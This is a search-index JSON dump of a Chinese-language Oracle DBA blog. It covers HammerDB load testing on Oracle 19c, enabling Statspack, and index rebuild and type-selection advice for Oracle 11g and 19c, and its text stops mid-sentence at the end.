
[{"content":" 歡迎來到 PolloChang 工作筆記 👋 # 我是一隻雞，專注於 Oracle Database 與 Linux 技術。\n","date":"April 18, 2026","externalUrl":null,"permalink":"/","section":"","summary":"歡迎來到 PolloChang 工作筆記 👋 # 我是一隻雞，專注於 Oracle Database 與 Linux 技術。\n","title":"","type":"page"},{"content":"","date":"April 18, 2026","externalUrl":null,"permalink":"/categories/","section":"Categories","summary":"","title":"Categories","type":"categories"},{"content":"","date":"April 18, 2026","externalUrl":null,"permalink":"/tags/hammerdb/","section":"Tags","summary":"","title":"HammerDB","type":"tags"},{"content":"","date":"April 18, 2026","externalUrl":null,"permalink":"/categories/oracle/","section":"Categories","summary":"","title":"Oracle","type":"categories"},{"content":"","date":"April 18, 2026","externalUrl":null,"permalink":"/oracle-database/","section":"Oracle-Databases","summary":"","title":"Oracle-Databases","type":"oracle-database"},{"content":"","date":"April 18, 2026","externalUrl":null,"permalink":"/tags/","section":"Tags","summary":"","title":"Tags","type":"tags"},{"content":"最近在工作中安裝完資料庫後，在煩惱有什方式可以測試資料庫效能足夠應付未來的業務需求。一開始的想法是自己寫腳本進行測試，但是想到要自己寫就開始發懶，因此開始有沒有別人寫好的工具。\n在努力的搜尋過後，發現 HammerDB 是符合我的需求: OpenSource, 易於安裝, CLI 執行。\n以下是我初次學習安裝的紀錄\n環境 # 壓力測試AP主機: 個人電腦 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 ❯ fastfetch _,met$$$$$gg. pollochang@pollo-nb-5310 ,g$$$$$$$$$$$$$$$P. ------------------------ ,g$$P\u0026#34;\u0026#34; \u0026#34;\u0026#34;\u0026#34;Y$$.\u0026#34;. OS: Debian GNU/Linux 13 (trixie) x86_64 ,$$P\u0026#39; `$$$. Host: Latitude 5310 \u0026#39;,$$P ,ggs. `$$b: Kernel: Linux 6.12.74+deb13+1-amd64 `d$$\u0026#39; ,$P\u0026#34;\u0026#39; . $$$ Uptime: 15 hours, 13 mins $$P d$\u0026#39; , $$P Packages: 3357 (dpkg) $$: $$. - ,d$$\u0026#39; Shell: zsh 5.9 $$; Y$b._ _,d$P\u0026#39; Display (AUO212D): 1920x1080 @ 60 Hz (as 1536x864) in 13\u0026#34; [Built-in] Y$$. `.`\u0026#34;Y$$$$P\u0026#34;\u0026#39; DE: GNOME 48.7 `$$b \u0026#34;-.__ WM: Mutter (Wayland) `Y$$b WM Theme: Adwaita `Y$$. Theme: Adwaita [GTK2/3/4] `$$b. Icons: Adwaita [GTK2/3/4] `Y$$b. Font: Cantarell (11pt) [GTK2/3/4] `\u0026#34;Y$b._ Cursor: Adwaita (24px) `\u0026#34;\u0026#34;\u0026#34;\u0026#34; Terminal: tabby 1.0.228 Terminal Font: MesloLGS NF (16pt) CPU: Intel(R) Core(TM) i5-10310U (8) @ 4.40 GHz GPU: Intel UHD Graphics @ 1.15 GHz [Integrated] Memory: 7.54 GiB / 62.50 GiB (12%) Swap: 0 B / 977.00 MiB (0%) Disk (/): 1.16 TiB / 1.79 TiB (65%) - ext4 Local IP (wlo1): 172.30.2.10/24 Battery (DELL WXW8096): 94% [Charging, AC Connected] Locale: en_US.UTF-8 測試資料庫: Oracle 19c 安裝 sqlplus # 1 2 3 4 5 6 7 8 9 10 11 12 wget unzip -q instantclient-basic-linux.x64-19.30.0.0.0dbru.zip uznip -q instantclient-sqlplus-linux.x64-19.30.0.0.0dbru.zip sudo mv instantclient_19_30 /usr/local/sqlplus sudo mkdir -p /usr/local/sqlplus/lib cd /usr/local/sqlplus # 進入你那個充滿 .so 的目錄後執行： ln -sf $(pwd)/libclntsh.so ./lib/libclntsh.so ln -sf $(pwd)/libclntsh.so.19.1 ./lib/libclntsh.so.19.1 ln -sf $(pwd)/libnnz19.so ./lib/libnnz19.so ln -sf $(pwd)/libociei.so ./lib/libociei.so ln -sf $(pwd)/libclntshcore.so.19.1 ./lib/libclntshcore.so.19.1 1 2 3 4 5 export ORACLE_HOME=/usr/local/sqlplus # 同時包含根目錄與 lib 目錄，確保 HammerDB 不管怎麼找都找得到 export LD_LIBRARY_PATH=$ORACLE_HOME:$ORACLE_HOME/lib:$LD_LIBRARY_PATH export TNS_ADMIN=$ORACLE_HOME/network/admin export PATH=$ORACLE_HOME:$PATH /usr/local/sqlplus/network/admin/tnsnames.ora 1 2 3 4 5 6 7 8 db151 = (DESCRIPTION = (ADDRESS = (PROTOCOL = TCP)(HOST = 172.30.1.151)(PORT = 1521)) (CONNECT_DATA = (SERVER = DEDICATED) (SERVICE_NAME = db) ) ) 1 2 3 4 5 6 7 -- 以 SYSDBA 身份執行 CREATE USER masterdba IDENTIFIED BY \u0026#34;1qaz@WSX3edc\u0026#34; ACCOUNT UNLOCK; -- 賦予必要的權限 GRANT CONNECT, RESOURCE, DBA TO masterdba; ALTER USER masterdba QUOTA UNLIMITED ON USERS; 安裝 hammerdb # 1 2 sudo apt install libtcl8.6 libtk8.6 unixodbc unixodbc-dev sudo apt install tcl tk 下載 hammerdb-5.0-1.el9.x86_64.rpm 直接解壓縮就可以直接使用了\n進行壓力測試 # 1 ./hammerdbcli 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 dbset db ora diset connection system_user masterdba diset connection system_password Aa1234.. diset connection instance db151 diset connection instance //172.30.1.151:1521/db151 vudestroy buildschema # 設定為計時模式 (Timed) diset tpcc ora_driver timed # 設定測試執行時間 (分鐘)，例如 2 分鐘 diset tpcc duration 1 # 設定預熱時間 (分鐘)，確保 Buffer Cache 已填滿 diset tpcc rampup 1 # 載入腳本： loadscript vucreate vuset vu 1 vurun 以下是測試結果\n1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 hammerdb\u0026gt;vudestroy vudestroy success hammerdb\u0026gt;vuset vu 1 hammerdb\u0026gt;vucreate Vuser 1 created MONITOR - WAIT IDLE Vuser 2 created - WAIT IDLE 2 Virtual Users Created with Monitor VU hammerdb\u0026gt;vurun Vuser 1:RUNNING Vuser 1:DBVersion:19.0.0.0.0 Vuser 1:Beginning rampup time of 1 minutes Vuser 2:RUNNING Vuser 2:Processing 10000000 transactions with output suppressed... Vuser 1:Rampup 1 minutes complete ... Vuser 1:Rampup complete, Taking start AWR snapshot. Vuser 1:Start Snapshot 73 taken at 13 APR 2026 08:48 of instance db151 (1) of database DB (1994028977) Vuser 1:Timing test period of 1 in minutes Vuser 1:1 ..., Vuser 1:Test complete, Taking end AWR snapshot. Vuser 1:End Snapshot 74 taken at 13 APR 2026 08:49 of instance db151 (1) of database DB (1994028977) Vuser 1:Test complete: view report from SNAPID 73 to 74 Vuser 1:1 Active Virtual Users configured Vuser 1:TEST RESULT : System achieved 4132 NOPM from 8873 Oracle TPM Vuser 2:FINISHED SUCCESS Vuser 1:FINISHED SUCCESS ALL VIRTUAL USERS COMPLETE Benchmark Run jobid=69DC3D3B64F403E233732313 hammerdb\u0026gt; 測試結果簡單說明\nTPM (Transactions Per Minute): 8873（這是 Oracle 每分鐘處理的所有交易總數）。 NOPM (New Orders Per Minute): 4132（這是 TPROC-C 核心指標，代表每分鐘完成的「新訂單」交易，通常用來跨平台比較）。 AWR Snapshot: 自動觸發了 Snapshots 73 到 74。 jobid: 此次執行的 id ，未來在查詢報告會使用到 查看報告方式 # 在 CLI 模式中查看報告內容 # 1 2 3 4 # 查看有跑過哪些測試 jobs timestamp # 查看報告 jobs \u0026lt;jobID\u0026gt; result 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 hammerdb\u0026gt;jobs timestamp { \u0026#34;69E2F1C0255303E293430313\u0026#34;: \u0026#34;2026-04-18 10:51:44\u0026#34;, \u0026#34;69E2F1C825D803E283531333\u0026#34;: \u0026#34;2026-04-18 10:51:52\u0026#34;, \u0026#34;69E2F20D29EC03E283933343\u0026#34;: \u0026#34;2026-04-18 10:53:01\u0026#34;, \u0026#34;69E2F2462D5903E273932303\u0026#34;: \u0026#34;2026-04-18 10:53:58\u0026#34;, \u0026#34;69E2F4B6528403E223639373\u0026#34;: \u0026#34;2026-04-18 11:04:22\u0026#34;, \u0026#34;69E2F4C2533E03E243439313\u0026#34;: \u0026#34;2026-04-18 11:04:34\u0026#34;, \u0026#34;69E2F4E2552603E263032303\u0026#34;: \u0026#34;2026-04-18 11:05:06\u0026#34; } hammerdb\u0026gt;jobs 69E2F2462D5903E273932303 result [ \u0026#34;69E2F2462D5903E273932303\u0026#34;, \u0026#34;2026-04-18 10:53:58\u0026#34;, \u0026#34;1 Active Virtual Users configured\u0026#34;, \u0026#34;TEST RESULT : System achieved 4171 NOPM from 8797 Oracle TPM\u0026#34; ] 在web 介面查看報告 # 1 hammerdbws 打開瀏覽器入 http://localhost:8080 就可以輕鬆查看報告\n操作方式 # 重新建立測試資料 # 1 2 3 4 5 6 # drop user tpcc cascade; hammerdb\u0026gt;vudestroy vudestroy success hammerdb\u0026gt;buildschema Script cleared Referance # HammerDB Documentation ","date":"April 18, 2026","externalUrl":null,"permalink":"/oracle-database/load-testing-for-database/","section":"Oracle-Databases","summary":"最近在工作中安裝完資料庫後，在煩惱有什方式可以測試資料庫效能足夠應付未來的業務需求。一開始的想法是自己寫腳本進行測試，但是想到要自己寫就開始發懶，因此開始有沒有別人寫好的工具。\n","title":"資料庫壓力測試","type":"oracle-database"},{"content":"因為 Oracle AWR 需要 DIAGNOSTIC+TUNING 授權才可以明確使用，但是在實務中沒有監控 DBA 只能當通靈大師 Tunning Database，因此轉而使用Oracle Statspack 作為替代方案。\n以下是啟用方式\nStatspack 啟用方式 # 進入 Sqlplus 檢查 job_queue_processes \u0026gt; 0 1 2 3 4 5 SQL\u0026gt; show parameter job_queue_processes; NAME TYPE VALUE ------------------------------------ ----------- ------------------------------ job_queue_processes integer 80 規劃一個 tablespace 空間供 Statspack 存放資料 1 CREATE TABLESPACE PERFSTAT DATAFILE \u0026#39;/u01/app/oracle/oradata/DB/PERFSTAT01.dbf\u0026#39; SIZE 100M AUTOEXTEND ON NEXT 10M; 1 2 3 4 5 6 7 8 9 10 11 12 SQL\u0026gt; select file_name from sys.dba_data_files; FILE_NAME -------------------------------------------------------------------------------- /u01/app/oracle/oradata/DB/system01.dbf /u01/app/oracle/oradata/DB/sysaux01.dbf /u01/app/oracle/oradata/DB/users01.dbf /u01/app/oracle/oradata/DB/undotbs01.dbf SQL\u0026gt; CREATE TABLESPACE PERFSTAT DATAFILE \u0026#39;/u01/app/oracle/oradata/DB/PERFSTAT01.dbf\u0026#39; SIZE 100M AUTOEXTEND ON NEXT 10M; Tablespace created. 執行建立腳本 1 2 3 -- define default_tablespace=\u0026#39;perfstat\u0026#39; -- define temporary_tablespace=\u0026#39;temp\u0026#39; @?/rdbms/admin/spcreate 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 SQL\u0026gt; @?/rdbms/admin/spcreate Session altered. Choose the PERFSTAT user\u0026#39;s password ----------------------------------- Not specifying a password will result in the installation FAILING Enter value for perfstat_password: **** **** Choose the Default tablespace for the PERFSTAT user --------------------------------------------------- Below is the list of online tablespaces in this database which can store user data. Specifying the SYSTEM tablespace for the user\u0026#39;s default tablespace will result in the installation FAILING, as using SYSTEM for performance data is not supported. Choose the PERFSTAT users\u0026#39;s default tablespace. This is the tablespace in which the STATSPACK tables and indexes will be created. TABLESPACE_NAME CONTENTS STATSPACK DEFAULT TABLESPACE ------------------------------ --------------------- ---------------------------- PERFSTAT PERMANENT STATSPACK PERMANENT SYSAUX PERMANENT * USERS PERMANENT Pressing \u0026lt;return\u0026gt; will result in STATSPACK\u0026#39;s recommended default tablespace (identified by *) being used. Enter value for default_tablespace: PERFSTAT Using tablespace PERFSTAT as PERFSTAT default tablespace. Choose the Temporary tablespace for the PERFSTAT user ----------------------------------------------------- Below is the list of online tablespaces in this database which can store temporary data (e.g. for sort workareas). Specifying the SYSTEM tablespace for the user\u0026#39;s temporary tablespace will result in the installation FAILING, as using SYSTEM for workareas is not supported. Choose the PERFSTAT user\u0026#39;s Temporary tablespace. TABLESPACE_NAME CONTENTS DB DEFAULT TEMP TABLESPACE ------------------------------ --------------------- -------------------------- TEMP TEMPORARY * Pressing \u0026lt;return\u0026gt; will result in the database\u0026#39;s default Temporary tablespace (identified by *) being used. Enter value for temporary_tablespace: TEMP ... Creating Package STATSPACK... Package created. No errors. Creating Package Body STATSPACK... Package body created. No errors. NOTE: SPCPKG complete. Please check spcpkg.lis for any errors. SQL\u0026gt; SQL\u0026gt; -- Bug#25233027: xxx Set this parameter to FALSE for creating common objects in consolidated database SQL\u0026gt; alter session set \u0026#34;_oracle_script\u0026#34; = FALSE; Session altered 建立排程: 快照排程 1 @?/rdbms/admin/spauto 1 2 3 4 5 6 7 SQL\u0026gt; select count(*) from stats$snapshot; COUNT(*) ---------- 0 1 row selected. 1 2 3 4 5 -- Create snapshot job using scheduler - every fifteen minutes exec dbms_scheduler.create_program(program_name =\u0026gt; \u0026#39;SP_SNAP_PROG\u0026#39;, program_type =\u0026gt; \u0026#39;STORED_PROCEDURE\u0026#39;, program_action =\u0026gt; \u0026#39;PERFSTAT.statspack.snap\u0026#39;, number_of_arguments =\u0026gt; 0, enabled =\u0026gt; FALSE); exec dbms_scheduler.enable(name =\u0026gt; \u0026#39;SP_SNAP_PROG\u0026#39;); exec dbms_scheduler.create_schedule (schedule_name =\u0026gt; \u0026#39;SP_SNAP_SCHED\u0026#39;, repeat_interval =\u0026gt; \u0026#39;freq=hourly; byminute=0,15,30,45; bysecond=0\u0026#39;,end_date =\u0026gt; null, comments =\u0026gt; \u0026#39;Schedule for Statspack snaps\u0026#39;); exec dbms_scheduler.create_job (job_name =\u0026gt; \u0026#39;SP_SNAP_JOB\u0026#39;, program_name =\u0026gt; \u0026#39;SP_SNAP_PROG\u0026#39;, schedule_name =\u0026gt; \u0026#39;SP_SNAP_SCHED\u0026#39;, enabled =\u0026gt; TRUE, auto_drop =\u0026gt; FALSE, comments =\u0026gt; \u0026#39;Statspack Job for snaps\u0026#39;); 建立排程: 資料保留排程 1 2 3 4 5 6 7 8 9 10 11 variable jobno number; begin dbms_job.submit( job =\u0026gt; :jobno, what =\u0026gt; \u0026#39;statspack.purge(i_num_days =\u0026gt; 14, i_extended_purge =\u0026gt; TRUE);\u0026#39;, next_date =\u0026gt; trunc(sysdate + 1) + 1/24, -- 明天凌晨一點開始跑 interval =\u0026gt; \u0026#39;trunc(sysdate + 1) + 1/24\u0026#39; -- 每天跑一次 ); commit; end; / 產生報表 # 檢查快照\n1 2 SELECT SNAP_ID, SNAP_TIME FROM STATS$SNAPSHOT ORDER BY 1; @?/rdbms/admin/spreport.sql 1 2 3 4 5 6 SNAP_ID|SNAP_TIME | -------+-----------------------+ 1|2026-04-14 17:00:00.000| 2|2026-04-14 18:00:00.000| 3|2026-04-14 19:00:00.000| 4|2026-04-14 20:00:00.000| 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 SQL\u0026gt; @?/rdbms/admin/spreport.sql Current Instance ~~~~~~~~~~~~~~~~ DB Id DB Name Inst Num Instance ----------- ------------ -------- ------------ 1994028977 DB 1 db151 Instances in this Statspack schema ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ DB Id Inst Num DB Name Instance Host ----------- -------- ------------ ------------ ------------ 1994028977 1 DB db151 vm151-db-ora cle-19c.home .pollochang. work Using 1994028977 for database Id Using 1 for instance number Specify the number of days of snapshots to choose from ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Entering the number of days (n) will result in the most recent (n) days of snapshots being listed. Pressing \u0026lt;return\u0026gt; without specifying a number lists all completed snapshots. Listing all Completed Snapshots Snap Instance DB Name Snap Id Snap Started Level Comment ------------ ------------ --------- ----------------- ----- -------------------- db151 DB 1 14 Apr 2026 17:00 5 2 14 Apr 2026 18:00 5 3 14 Apr 2026 19:00 5 4 14 Apr 2026 20:00 5 Specify the Begin and End Snapshot Ids ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ Enter value for begin_snap: 1 Begin Snapshot Id specified: 1 Enter value for end_snap: 2 End Snapshot Id specified: 2 Specify the Report Name ~~~~~~~~~~~~~~~~~~~~~~~ The default report file name is sp_1_2. To use this name, press \u0026lt;return\u0026gt; to continue, otherwise enter an alternative. Enter value for report_name: Using the report name sp_1_2 其他使用方式 # 基準線保護(Baselining) # 保存調教後的資料，例如: 壓力測試後調教結果\n標記指令（例如標記快照 10 到 20） 1 EXEC statspack.make_baseline(i_begin_snap =\u0026gt; 10, i_end_snap =\u0026gt; 20); ","date":"April 14, 2026","externalUrl":null,"permalink":"/oracle-database/open-statspack/","section":"Oracle-Databases","summary":"因為 Oracle AWR 需要 DIAGNOSTIC+TUNING 授權才可以明確使用，但是在實務中沒有監控 DBA 只能當通靈大師 Tunning Database，因此轉而使用Oracle Statspack 作為替代方案。\n以下是啟用方式\n","title":"open Statspack","type":"oracle-database"},{"content":"","date":"April 14, 2026","externalUrl":null,"permalink":"/tags/oracle/","section":"Tags","summary":"","title":"Oracle","type":"tags"},{"content":"","date":"April 7, 2026","externalUrl":null,"permalink":"/tags/ai/","section":"Tags","summary":"","title":"AI","type":"tags"},{"content":" Oracle 11g # 1. 清查統計資訊：確認資料的「新鮮度」 # 在 11g，如果 LAST_ANALYZED 太久遠，BLEVEL 的參考價值會大打折扣。\n實務作法： 使用以下 SQL 找出深度異常（\u0026gt;=3）且統計資訊超過 7 天未更新的索引：\n1 2 3 4 5 6 7 SELECT owner, index_name, table_name, blevel, leaf_blocks, num_rows, last_analyzed FROM dba_indexes WHERE blevel \u0026gt;= 3 AND last_analyzed \u0026lt; SYSDATE - 7 AND owner NOT IN (\u0026#39;SYS\u0026#39;, \u0026#39;SYSTEM\u0026#39;); 2. 確認使用情況：找出「殭屍索引」 # 在 11g 中，這一步最耗時但也最省資源。\n開啟監控 (Monitoring)： 11g 必須針對每個索引手動開啟監控。 1 ALTER INDEX schema_name.index_name MONITORING USAGE; 檢查結果： 觀察一兩個完整業務週期（例如一週或一個月）後查詢： 1 2 SELECT index_name, used, start_monitoring, end_monitoring FROM v$object_usage; 大師筆記： v$object_usage 只能看到當前使用者的監控。若要看全庫，需以 SYS 權限查詢底層表 sys.object_usage。\n3. 評估該刪除：實施「安全緩衝區」 # 11g 引入了 Invisible Index (不可見索引)，這是業界公認最安全的刪除前置作業。\n操作步驟： 將疑似沒用的索引設為 INVISIBLE。 觀察 AWR 報告或應用程式有無報錯。 若確定無誤，再執行 DROP INDEX。 1 ALTER INDEX index_name INVISIBLE; 4. 評估該優化：深度的科學判斷 # 針對你提到的 TIP，在 11g 實務中，我們判斷「是否值得 Rebuild」通常會動用 VALIDATE STRUCTURE 命令。\n深度診斷步驟：\n收集索引內部碎片資訊： 1 ANALYZE INDEX schema_name.index_name VALIDATE STRUCTURE; 查詢 INDEX_STATS 視圖： 這是 11g DBA 的黃金準則，檢查這兩個指標： HEIGHT (即 BLEVEL+1)： 是否大於等於 4。 DEL_LF_ROWS_LEN / LF_ROWS_LEN： 刪除的列所佔空間是否超過 20%。 1 2 3 SELECT name, height, del_lf_rows_len, lf_rows_len, (del_lf_rows_len / decode(lf_rows_len, 0, 1, lf_rows_len) * 100) AS pct_deleted FROM index_stats; 警語： 在 11g 中，ANALYZE INDEX ... VALIDATE STRUCTURE 會鎖表 (Table Lock)。請務必在離峰時段操作。\n5. 執行優化：11g 的最佳實踐指令 # 若決定要 Rebuild，請遵循以下步驟以最小化對生產環境的衝擊：\nOnline Rebuild： 避免鎖定 DML 操作。 Parallel： 加快速度（需確認 CPU 負載）。 Reset Degree： 完成後務必改回 NOPARALLEL，否則 Optimizer 會誤判執行成本。 1 2 3 4 5 6 7 8 -- 1. 線上重建並啟動平行處理 ALTER INDEX schema_name.index_name REBUILD ONLINE PARALLEL 4; -- 2. 恢復索引的平行度設定 (非常重要！) ALTER INDEX schema_name.index_name NOPARALLEL; -- 3. 重新收集統計資訊 EXEC DBMS_STATS.GATHER_INDEX_STATS(\u0026#39;SCHEMA_NAME\u0026#39;, \u0026#39;INDEX_NAME\u0026#39;); 總結大師建議： # 在 11g 實務中，「不要為了 Rebuild 而 Rebuild」。 如果你發現一個索引深度為 4，但它是幾億筆資料且 key 是長字串（如 URL 或 GUID），這是正常現象。 真正需要優化的是那些：資料量沒變、Key 很短，但深度卻莫名其妙增加的索引。\nOracle 19c # 1. 清查統計資訊：利用「即時統計資訊」 # 在 19c 中，Oracle 引入了 Real-time Statistics。當你在進行大量資料導入（Bulk Load）時，資料庫會自動更新統計資訊，不再像舊版本那樣非得等晚上排程。\n實務作法： 直接查詢 DBA_INDEXES，但 19c 我們更看重 BLEVEL 與 CLUSTERING_FACTOR 的比例。\n1 2 3 4 5 6 7 8 9 SELECT owner, index_name, table_name, blevel, leaf_blocks, num_rows, last_analyzed, (SELECT blocks FROM dba_tables t WHERE t.table_name = i.table_name AND t.owner = i.owner) as table_blocks, clustering_factor FROM dba_indexes i WHERE blevel \u0026gt;= 3 AND owner NOT IN (\u0026#39;SYS\u0026#39;, \u0026#39;SYSTEM\u0026#39;) ORDER BY blevel DESC; 2. 最後使用時間與次數：19c 的自動監控 # 在 11g 必須手動 ALTER INDEX ... MONITORING USAGE，但在 19c，資料庫預設會自動收集索引使用狀況。\n最佳實踐： 直接查詢 DBA_INDEX_USAGE_INFO。它不僅告訴你索引有沒有被使用過，還能告訴你使用了幾次、最後一次使用的時間。\n1 2 3 4 5 6 7 8 -- 19c 內建功能，直接看索引使用頻率與最後使用時間 SELECT u.owner, u.index_name, u.table_name, u.total_access_count, u.last_used FROM dba_index_usage_info u JOIN dba_indexes i ON u.index_name = i.index_name AND u.owner = i.owner WHERE i.blevel \u0026gt;= 3; 3. 評估該刪除：自動索引與不可見測試 # 19c Enterprise Edition 有一個殺手級功能：Automatic Indexing。它會自動評估並建立索引，也會自動標記不使用的索引。\n實務作法： 對於你懷疑深度過高且不常使用的索引，先執行 Invisible。\n設為不可見： ALTER INDEX index_name INVISIBLE; 觀察期： 19c 的 Automatic Workload Repository (AWR) 會幫你監控是否有 SQL 因為少了這個索引而效能衰退。 4. 評估該優化：19c 的智慧化建議 # 針對你提到的那個 TIP（深度大於 3 或 4），19c 提供了一個更直覺的工具：Segment Advisor。\n實務作法： 不要再手動算 BLEVEL 了，直接請 Oracle 算給你聽：\n1 2 3 4 5 6 7 -- 使用 DBMS_ADVISOR 建立一個 Segment Advisor 任務 -- 它可以精確告訴你索引「浪費了多少空間」，並直接建議是否該 REBUILD SELECT segment_name, segment_type, alloc_mb, used_mb, reclaimable_mb, recommendations FROM TABLE(dbms_space.asa_recommendations(\u0026#39;FALSE\u0026#39;, \u0026#39;FALSE\u0026#39;, \u0026#39;FALSE\u0026#39;)); 5. 執行優化：19c 的無感重建 # 在 19c 重建索引時，建議使用以下組合拳：\nONLINE： 必備，19c 的 Online Rebuild 幾乎不影響併發。 PARALLEL： 善用 CPU 多核優化。 SHRINK SPACE (僅限特定情況)： 對於某些索引，如果你不想重建整個結構，可以使用 COALESCE（合併），它不會像 Rebuild 那樣佔用大量暫存空間。 1 2 3 -- 19c 推薦的重建方式 ALTER INDEX schema_name.index_name REBUILD ONLINE PARALLEL 8; ALTER INDEX schema_name.index_name NOPARALLEL; 大師的總結建議： # 在 19c 中，你不需要再像 11g 那樣戰戰兢兢地手動監控。\n利用 DBA_INDEX_USAGE_INFO 排除掉沒人在用的索引（這佔了深度問題的 50%）。 利用 Segment Advisor 獲取官方的空間回收建議。 確認 BLEVEL 的增長是否為常態： 如果是大量 DELETE 導致的（例如 Log 表），建議在 19c 中將該索引建立為 Global Hash Partitioned Index（如果底層是分區表），這能有效控制 B*Tree 的深度。 Index 類型評估 # 你好！我是 Oracle Database 大師。這是一個非常經典且關乎系統成敗的問題。選錯索引類型，輕則浪費空間，重則導致嚴重的鎖定（Locking）衝突與效能崩潰。\n在 Oracle 19c 的環境下，選擇索引的邏輯已經非常明確。我為你整理了一份決策指南，幫助你精準選型。\n1. 核心差異與選擇邏輯 # 這兩種索引的底層結構完全不同，因此適用的場景也截然不同。\nB*Tree Index (預設索引) # 結構： 樹狀結構（Root -\u0026gt; Branch -\u0026gt; Leaf）。 適用對象： 高基數（High Cardinality） 的欄位。也就是說，該欄位的值重複率很低，例如 EMPLOYEE_ID、SSN、ORDER_NUMBER。 適用操作： 精確查詢（=）、範圍查詢（\u0026gt;、\u0026lt;、BETWEEN）。 併發性： 優秀。多個使用者同時更新（DML）不同列時，不太會互相鎖定。 Bitmap Index (點陣圖索引) # 結構： 使用位元（0 與 1）的對應表來儲存資料與列的關係。 適用對象： 低基數（Low Cardinality） 的欄位。例如 GENDER (男/女)、STATUS (有效/無效)、REGION (北/中/南/東)。 適用操作： 多個欄位組合的 AND / OR 複雜查詢。 併發性： 極差。更新一筆資料會鎖定整個「點陣圖段（Bitmap Segment）」，容易造成嚴重的 TX - Row Lock Contention。 2. 實戰決策流程圖 # 當你準備新增 Index 時，請問自己以下三個問題：\n第一步：這是資料倉儲 (DW) 還是 線上交易系統 (OLTP)？ # OLTP (頻繁增刪改)： 幾乎一律使用 B*Tree。 DW/BI (大量查詢，批次更新)： 可以考慮 Bitmap。 第二步：欄位的「基數」高嗎？ # 高基數 (如 ID, 日期時間)： 使用 B*Tree。 低基數 (如 類別, 狀態碼)： * 如果是 OLTP，仍然建議 B*Tree。 如果是 DW，且查詢常包含多種條件組合，使用 Bitmap。 第三步：是否會頻繁進行 DML (Insert/Update/Delete)？ # 是： 絕對不要用 Bitmap。在 Bitmap 索引上的任何一筆更新都可能鎖定成千上萬行資料。 否 (多為唯讀或深夜批次轉檔)： Bitmap 是首選，因為它的壓縮率極高，掃描速度極快。 3. 業界公認的最佳實踐 (Best Practices) # 特性 B*Tree Index Bitmap Index 主要優勢 搜尋特定列速度極快 節省空間、處理 OR 邏輯強 空間佔用 較大 極小 (通常只有 B*Tree 的 1/10) Null 值處理 預設不存 Null (除非是複合索引) 會儲存 Null 值 推薦場景 唯一鍵、外鍵、大部分交易表欄位 資料倉儲中的維度表 (Dimension Table) 4. 大師的特別提醒：Bitmap Join Index # 在 19c 中，如果你在做資料倉儲優化，還有一個進階武器叫 Bitmap Join Index (BJI)。它可以預先將 Fact Table (事實表) 與 Dimension Table (維度表) 的關聯結果做成索引。這在處理「星狀架構 (Star Schema)」查詢時，效能簡直是神級的提升。\n總結你的選擇建議： # 如果你不確定，選 B*Tree 永遠是安全牌。 只有在「資料幾乎不變」且「欄位值很少（低基數）」的統計報表需求下，才考慮 Bitmap。 千萬不要在會被頻繁 Update 的欄位上建立 Bitmap Index。 如何安全的建立 Index # 1. 建立 B*Tree Index (預設索引) # 在 Oracle 中，如果你在 CREATE 後面直接接 INDEX，預設就是建立 B*Tree 索引。\n基本語法： # 1 CREATE INDEX idx_emp_id ON employees(employee_id); 業界推薦的進階下法 (Best Practice)： # 在生產環境，我們通常會加上一些參數來確保效能與空間管理：\n1 2 3 4 5 6 7 8 9 CREATE INDEX idx_orders_date ON orders(order_date) TABLESPACE users_idx_tbs -- 指定獨立的索引表空間 (建議與 Data 分開) ONLINE -- [重要] 建立期間不鎖表，前端程式可繼續寫入資料 PARALLEL 4 -- 使用 4 個 CPU 核心同步建立，速度極快 NOLOGGING; -- 減少產生的 Redo Log，加速大型索引建立 (注意：建立後需補備份) -- 建立完後，務必將平行度改回 1，避免往後 SQL 執行計畫誤判成本 ALTER INDEX idx_orders_date NOPARALLEL; 2. 建立 Bitmap Index (點陣圖索引) # 要建立 Bitmap 索引，你必須顯式地加上 BITMAP 關鍵字。\n基本語法： # 1 CREATE BITMAP INDEX idx_emp_gender ON employees(gender); 業界推薦的進階下法： # 由於 Bitmap 索引主要用於資料倉儲（DW），通常資料量極大，平行處理與路徑管理非常重要：\n1 2 3 4 5 6 7 8 9 CREATE BITMAP INDEX idx_cust_region ON customers(region_code) TABLESPACE dw_idx_tbs -- 通常放在專門給 DW 使用的表空間 PCTFREE 0 -- [技巧] Bitmap 索引很少更新，可將預留空間設為 0 以節省硬碟 PARALLEL 8 -- 大型 DW 表建議加大平行度 NOLOGGING; -- 同樣，建立完後記得關閉平行設定 ALTER INDEX idx_cust_region NOPARALLEL; 3. 兩者語法與行為的關鍵對比 # 特性 B*Tree Index (預設) Bitmap Index 關鍵字 CREATE INDEX ... CREATE BITMAP INDEX ... ONLINE 支援 完全支援。11g/19c 都能在不中斷服務下建立。 有限支援。19c 之前無法在 ONLINE 狀態建立，19c 雖有改善但仍建議在維護時段做。 Unique 約束 可以定義為 UNIQUE INDEX。 不可定義為 UNIQUE。 複合索引 常見，如 (last_name, first_name)。 亦可，但通常多個單欄位 Bitmap 效果更好。 4. 大師的實戰檢查清單 # 在你按下 Enter 鍵執行 SQL 之前，請幫我檢查這三點：\n權限： 你是否擁有 CREATE ANY INDEX 權限？ 空間： 檢查 DBA_FREE_SPACE。Bitmap 雖然省空間，但 B*Tree 的空間消耗通常是資料本身的 1.5 到 2 倍。 鎖定 (Locking)： 如果是 B*Tree，請養成習慣加上 ONLINE。如果是 Bitmap，請確認目前沒有任何 Batch 或應用程式正在更新那張表。 額外補充：如何確認建立成功？ # 建立完後，你可以跑這條 